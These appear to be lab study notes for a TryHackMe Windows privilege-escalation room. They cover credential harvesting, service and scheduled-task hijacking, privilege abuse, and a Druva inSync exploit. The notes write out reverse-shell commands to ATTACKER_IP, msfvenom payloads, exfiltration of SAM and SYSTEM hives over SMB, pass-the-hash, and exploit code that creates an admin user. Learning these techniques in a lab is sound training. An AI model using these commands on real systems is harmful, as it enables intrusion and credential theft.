THM | Windows Privilege Escalation

June 14, 2025 · 13 min read

Red Teaming | Windows Privilege Escalation | Description:

Notes taken while exploring the Windows Privilege Escalation room on the Red Teaming Path. The primary goal is to master the fundamentals of Windows privilege‑escalation techniques.

1 | Introduction

2 | Windows Privilege Escalation

Local Service vs. Network Service Accounts

Account Type	Key Characteristics	Access Level	Network Access	Use Case
Local Service Account	- Low-privilege built-in account - Runs services with minimal local system access - Cannot authenticate to remote network resources	Limited local access	No network authentication	Services that only need local system resources and do not require network connectivity
Network Service Account	- Built-in Windows account - Can access network resources - Uses computer's network credentials	Limited network access	Can authenticate to remote network resources using computer account credentials	Services that need to interact with network resources but do not require specific user credentials

3 | Harvesting Passwords from Usual Spots

Unattended Windows Installations

if Windows Deployment Services was used for deployment (deploy a single os image to multiple hosts)
require an admin account to perform the install -> might be stored in:
- C:\Unattend.xml
- C:\Windows\Panther\Unattend.xml
- C:\Windows\Panther\Unattend\Unattend.xml
- C:\Windows\system32\sysprep.inf
- C:\Windows\system32\sysprep\sysprep.xml

Powershell History

grab ps history with cmd

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

grab ps history with ps

type $Env:userprofile\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

Saved Windows Credentials

windows allows us to use other user's credentials -> option to save creds on the system
```
cmdkey /lists
```
use the saved credentials to run programs
```
runas /savecred /user:admin cmd.exe
```

IIS Configuration

Internet Information Services (IIS) default web server on Windows
config is stored in web.config
potential storage locations
- C:\inetpub\wwwroot\web.config
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config

grab the connection string

type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString

Retrieve Credentials from Software: PuTTY

users can store session creds and config data
not SSH passwords, but proxy confs with cleartext auth. creds.

retrieve proxy creds.

reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s

4 | Other Quick Wins

Scheduled Tasks

check on a service

schtasks /query /tn vulntask /fo list /v

Task to Run parameter -> binary that get's executed
Run As User parameter -> under which context the binary is executed
check permissions on the binary (F: Full Access)
```
icacls c:\tasks\schtask.bat
```

Attack Example

find a service whose binary you have permission to modify (c:\tasks\schtask.bat | vulntask)

overwrite the binary to spawn a reverse shell

echo c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4444 > C:\tasks\schtask.bat

catch the reverse connection
```
nc -lvp 4444
```
wait for the scheduled task to run (or trigger manually)
```
schtasks /run /tn vulntask
```

AlwaysInstallElevated

IDEA: Windows installer files (also known as .msi files) are used to install applications on the system. They usually run with the privilege level of the user that starts it. However, these can be configured to run with higher privileges from any user account (even unprivileged ones). This could potentially allow us to generate a malicious MSI file that would run with admin privileges.

Requires 2 registry values to be set:

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
:: and
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer

Attack Example

if both registry values are set -> generate malicious .msi file

msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKING_MACHINE_IP LPORT=LOCAL_PORT -f msi -o malicious.msi

run the metasploit handler module to catch the reverse shell
run the malicious binary once transfered over to the target system
```
msiexec /quiet /qn /i C:\Windows\Temp\malicious.msi
```

5 | Abusing Service Misconfigurations

Windows Services

check on a service and grab it's configuration
```
sc qc apphostsvc
```
BINARY_PATH_NAME parameter -> the assiciated executable
SERVICE_START_NAME parameter -> the account used to run the service
NOTE: Services have a Discretionary Access Control List (DACL), which indicates who has permission to start, stop, pause, query status, query configuration, or reconfigure the service, amongst other privileges
- use Process Hacker to check on them
services configurations are stored under HKLM\SYSTEM\CurrentControlSet\Services\
in regedit: Computer\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\AppHostSvc
- ImagePath -> associated executable
- ObjectName -> the account used to start the service
- if DACL is configured for the service -> it will be stored in a subkey called Security

Insecure Permissions on Service Executable

IDEA: If the executable associated with a service has weak permissions that allow an attacker to modify or replace it, the attacker can gain the privileges of the service's account trivially

Attack Example

check the service configuration
```
sc qc WindowsScheduler
```

check the permissions on the executable

icacls C:\PROGRA~2\SYSTEM~1\WService.exe

generate the exe-service payload

msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4445 -f exe-service -o rev-svc.exe

serve it up via python webserver
```
python3 -m http.server
```

download the payload

wget http://ATTACKER_IP:8000/rev-svc.exe -O rev-svc.exe

replace the service executable

cd C:\PROGRA~2\SYSTEM~1\
move WService.exe WService.exe.bkp
move C:\Users\thm-unpriv\rev-svc.exe WService.exe

grant full permissions to the Everyone group
```
icacls WService.exe /grant Everyone:F
```
start reverse shell on attack box
```
nc -lvp 4445
```
wait for the service to restart (trigger it, or restart it manually)
```
sc stop windowsscheduler
sc start windowsschedulers
```

or if using PS (sc is alias for Set-Content -> use sc.exe)

sc.exe stop windowsscheduler
sc.exe start windowsschedulers

Unquoted Service Paths

IDEA: Create any of the executables that are searched for before the expected service executable and force the service to run the arbitrary executable.
NOTE: Most service executables are installed under C:\Program Files or C:\Program Files (x86) -> is NOT writeable by unprivileged users by default

Attack Example

check permissions on the target directory

icacls c:\MyPrograms
:: AD and WD privileges -> can create subdirs and files

create exe-service payload and transfer it to the target

msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4446 -f exe-service -o rev-svc2.exe

start netcat listener
```
nc -lvp 4446
```
once transfered, move it to any of the locations where hijacking might occur
```
move C:\Users\thm-unpriv\rev-svc2.exe C:\MyPrograms\Disk.exe
```

grant Everyone full permissions on the file

icacls C:\MyPrograms\Disk.exe /grant Everyone:F

wait for the service to restart (or trigger it manually)

sc stop "disk sorter enterprise"
sc start "disk sorter enterprise"

Insecure Service Permissions

IDEA: the service DACL (not the service's executable DACL) allows you to modify the config of a service -> allows you to point to ANY executable and run it with ANY account (including SYSTEM)

check for a service DACL (with Accesschk from the Sysinternals suite)

:: it is installed to `C:\tools\AccessChk` and command is run from there
accesschk64.exe -qlc thmservice

SERVICE_ALL_ACCESS permission with BUILTIN\\Users -> any user can reconfigure the service

Attack Example

create the exe-service reverse shell and start the listener

msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4447 -f exe-service -o rev-svc3.exe
nc -lvp 4447

transfer the rev. shell executable over to the target

grant permission to Everyone

icacls C:\Users\thm-unpriv\rev-svc3.exe /grant Everyone:F

reconfigure the service: change the service's associated executable and account

:: mind the spaces after the equal sign
sc config THMService binPath= "C:\Users\thm-unpriv\rev-svc3.exe" obj= LocalSystem

run the service (can use any account to do it)
```
sc stop THMService
sc start THMService
```

6 | Abusing dangerous privileges

Windows Privileges

NOTE: Privileges are rights that an account has to perform specific system-related tasks. These tasks can be as simple as the privilege to shut down the machine up to privileges to bypass some DACL-based access controls.
complete list of privileges on Win systems
list of exploitable privileges
check on assigned privileges for the current user
```
whoami /priv
```

SeBackup / SeRestore

allow users to read and write to any file in the system, ignoring any DACL in place

Attack Example - Copy SAM and SYSTEM registry hives

log in as user that is part of "Backup Operators" group with SeBackup and SeRestore privileges
open cmd as administrator -> will be prompted for password
check on our privileges
```
whoami /priv
```

grab (backup) the SAM and SYSTEM hashes

reg save hklm\system C:\Users\THMBackup\system.hive
reg save hklm\sam C:\Users\THMBackup\sam.hive

copy files over to the attack box (here over SMB)

create SMB share on attackbox

mkdir share

# share named public pointing to the share dir
# requires the username and password of our current windows session
python3.9 /opt/impacket/examples/smbserver.py -smb2support -username THMBackup -password CopyMaster555 public share

copy the files over (on targetbox)

copy C:\Users\THMBackup\sam.hive \\ATTACKER_IP\public\
copy C:\Users\THMBackup\system.hive \\ATTACKER_IP\public\

retrieve the user pwd with impacket

python3.9 /opt/impacket/examples/secretsdump.py -sam sam.hive -system system.hive LOCAL
# example for Admin entry
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:13a04cdcf3f7ec41264e568127c5ca94:::

perform Pass-the-Hash with the Admin's hash

python3.9 /opt/impacket/examples/psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:13a04cdcf3f7ec41264e568127c5ca94 administrator@MACHINE_IP

SeTakeOwnership

allows a user to take ownership of any object on the system, including files and registry keys
IDEA: search for a service running as SYSTEM and take ownership of the service's executable
NOTE: being the owner of a file doesn't necessarily mean that you have privileges over it, but being the owner you can assign yourself any privileges you need

Attack Example - Abuse `utilman.exe` (Ease of Access option during lock screen)

log in with the user that has the SeTakeOwnership privilege
open a cmd as admin
check on your privileges
```
whoami /priv
```
Utilman is run with SYSTEM privileges -> replace the original binary

take ownership of the binary

takeown /f C:\Windows\System32\Utilman.exe

give your user full permissions over utilman.exe

icacls C:\Windows\System32\Utilman.exe /grant THMTakeOwnership:F

replace utilman.exe with a copy of cmd.exe
```
copy cmd.exe utilman.exe
```
trigger utilman -> lock the screen -> click on the "Ease of Access" button

SeImpersonate / SeAssignPrimaryToken

allow a process to impersonate other users and act on their behalf
usually consists of being able to spawn a process or thread under the security context of another user
IDEA: if we take control of a process with SeImpersonate or SeAssignPrimaryToken privileges, we can impersonate any user connecting and authenticating to that process
NOTE: LOCAL SERVICE and NETWORK SERVICE ACCOUNTS already have such privileges
- IIS default account: iis apppool\defaultapppool

Attack Steps

spawn a process so that users can connect and authenticate to it for impersonation to occur
Find a way to force privileged users to connect and authenticate to the spawned malicious process

Attack Example - Use RougeWinRM to trigger the BITS service and impersonate it's SYSTEM privilege

BACKGROUND-INFO:
- The RogueWinRM exploit is possible because whenever a user (including unprivileged users) starts the BITS service in Windows, it automatically creates a connection to port 5985 using SYSTEM privileges. Port 5985 is typically used for the WinRM service, which is simply a port that exposes a Powershell console to be used remotely through the network.
- If, for some reason, the WinRM service isn't running on the victim server, an attacker can start a fake WinRM service on port 5985 and catch the authentication attempt made by the BITS service when starting. If the attacker has SeImpersonate privileges, he can execute any command on behalf of the connecting user, which is SYSTEM.
upload RogueWinRM to the target box (here already done - in C:\tools\)
check on the assigned privileges
```
whoami /priv
```
start netcat listener on attackbox
```
nc -lvp 4442
```

trigger the RogueWinRM exploit

:: -p: specify the executable; -a: arguments to pass to the executable
c:\tools\RogueWinRM\RogueWinRM.exe -p "C:\tools\nc64.exe" -a "-e cmd.exe ATTACKER_IP 4442"

NOTE: The BITS service will stop automatically after 2 minutes of starting

7 | Abusing vulnerable software

Unpatched Software

NOTE: the wmic product command may not return all installed programs (depending on how the programs were installed)
- check desktop shortcuts, available services
use the wmic tool to list the software installed on the target system and its versions
```
wmic product get name,version,vendor
```
search for existing exploits on the installed software
- exploit-db
- packet strom

Attack Example - Druva inSync 6.6.3

multiple vulnerabilities
- in v6.6.3
- in v6.5.0
IDEA: The software is vulnerable because it runs an RPC (Remote Procedure Call) server on port 6064 with SYSTEM privileges, accessible from localhost only.
RPC-BACKGROUND: it is simply a mechanism that allows a given process to expose functions (called procedures in RPC lingo) over the network so that other machines can call them remotely
HERE: In the case of Druva inSync, one of the procedures exposed (specifically procedure number 5) on port 6064 allowed anyone to request the execution of any command. Since the RPC server runs as SYSTEM, any command gets executed with SYSTEM privileges.
- patch only requires the command to start with C:\ProgramData\Druva\inSync4\
- simple workaround: C:\ProgramData\Druva\inSync4\..\..\..\Windows\System32\cmd.exe

original exploit

$ErrorActionPreference = "Stop"

$cmd = "net user pwnd /add"

$s = New-Object System.Net.Sockets.Socket(
    [System.Net.Sockets.AddressFamily]::InterNetwork,
    [System.Net.Sockets.SocketType]::Stream,
    [System.Net.Sockets.ProtocolType]::Tcp
)
$s.Connect("127.0.0.1", 6064)

$header = [System.Text.Encoding]::UTF8.GetBytes("inSync PHC RPCW[v0002]")
$rpcType = [System.Text.Encoding]::UTF8.GetBytes("$([char]0x0005)`0`0`0")
$command = [System.Text.Encoding]::Unicode.GetBytes("C:\ProgramData\Druva\inSync4\..\..\..\Windows\System32\cmd.exe /c $cmd");
$length = [System.BitConverter]::GetBytes($command.Length);

$s.Send($header)
$s.Send($rpcType)
$s.Send($length)
$s.Send($command)

modify the executed command (via $cmd var) to create a user and assign him admin privileges
```
net user pwnd SimplePass123 /add & net localgroup administrators pwnd /add
```
once run, open a admin cmd as pwnd with your newly added user and it's pwd

8 | Tools of the Trade

WinPEAS

available both as a precompiled executable or a .bat script
lengthly output -> redirect output to a file
```
winpeas.exe > outputfile.txt
```

PrivescCheck

PS script
requires NO execution of a binary file
NOTE: you may need to bypass execution policy restrictions
```
Set-ExecutionPolicy Bypass -Scope process -Force
```
load the module and run it
```
. .\PrivescCheck.ps1
Invoke-PrivescCheck
```

WES-NG

Windows Exploit Suggester - Next Generation
runs on the attacking machine
a python script
update the database - wes.py --update
requires you to run systeminfo on the target and transfer the output to the attackbox
run the check - wes.py systeminfo.txt

Metasploit

if you already have a Meterpreter shell on the target
use the multi/recon/local_exploit_suggester module to list vulnerabilities

9 | Conclusion

Additional Techniques

Red Teaming | Windows Privilege Escalation | Description:​

1 | Introduction​

2 | Windows Privilege Escalation​

Local Service vs. Network Service Accounts​

3 | Harvesting Passwords from Usual Spots​

Unattended Windows Installations​

Powershell History​

Saved Windows Credentials​

IIS Configuration​

Retrieve Credentials from Software: PuTTY​

4 | Other Quick Wins​

Scheduled Tasks​

Attack Example​

AlwaysInstallElevated​

Attack Example​

5 | Abusing Service Misconfigurations​

Windows Services​

Insecure Permissions on Service Executable​

Attack Example​

Unquoted Service Paths​

Attack Example​

Insecure Service Permissions​

Attack Example​

6 | Abusing dangerous privileges​

Windows Privileges​

SeBackup / SeRestore​

Attack Example - Copy SAM and SYSTEM registry hives​

SeTakeOwnership​

Attack Example - Abuse utilman.exe (Ease of Access option during lock screen)​

SeImpersonate / SeAssignPrimaryToken​

Attack Steps​

Attack Example - Use RougeWinRM to trigger the BITS service and impersonate it's SYSTEM privilege​

7 | Abusing vulnerable software​

Unpatched Software​

Attack Example - Druva inSync 6.6.3​

8 | Tools of the Trade​

WinPEAS​

PrivescCheck​

WES-NG​

Metasploit​

9 | Conclusion​

Red Teaming | Windows Privilege Escalation | Description:

1 | Introduction

2 | Windows Privilege Escalation

Local Service vs. Network Service Accounts

3 | Harvesting Passwords from Usual Spots

Unattended Windows Installations

Powershell History

Saved Windows Credentials

IIS Configuration

Retrieve Credentials from Software: PuTTY

4 | Other Quick Wins

Scheduled Tasks

Attack Example

AlwaysInstallElevated

Attack Example

5 | Abusing Service Misconfigurations

Windows Services

Insecure Permissions on Service Executable

Attack Example

Unquoted Service Paths

Attack Example

Insecure Service Permissions

Attack Example

6 | Abusing dangerous privileges

Windows Privileges

SeBackup / SeRestore

Attack Example - Copy SAM and SYSTEM registry hives

SeTakeOwnership

Attack Example - Abuse `utilman.exe` (Ease of Access option during lock screen)

SeImpersonate / SeAssignPrimaryToken

Attack Steps

Attack Example - Use RougeWinRM to trigger the BITS service and impersonate it's SYSTEM privilege

7 | Abusing vulnerable software

Unpatched Software

Attack Example - Druva inSync 6.6.3

8 | Tools of the Trade

WinPEAS

PrivescCheck

WES-NG

Metasploit

9 | Conclusion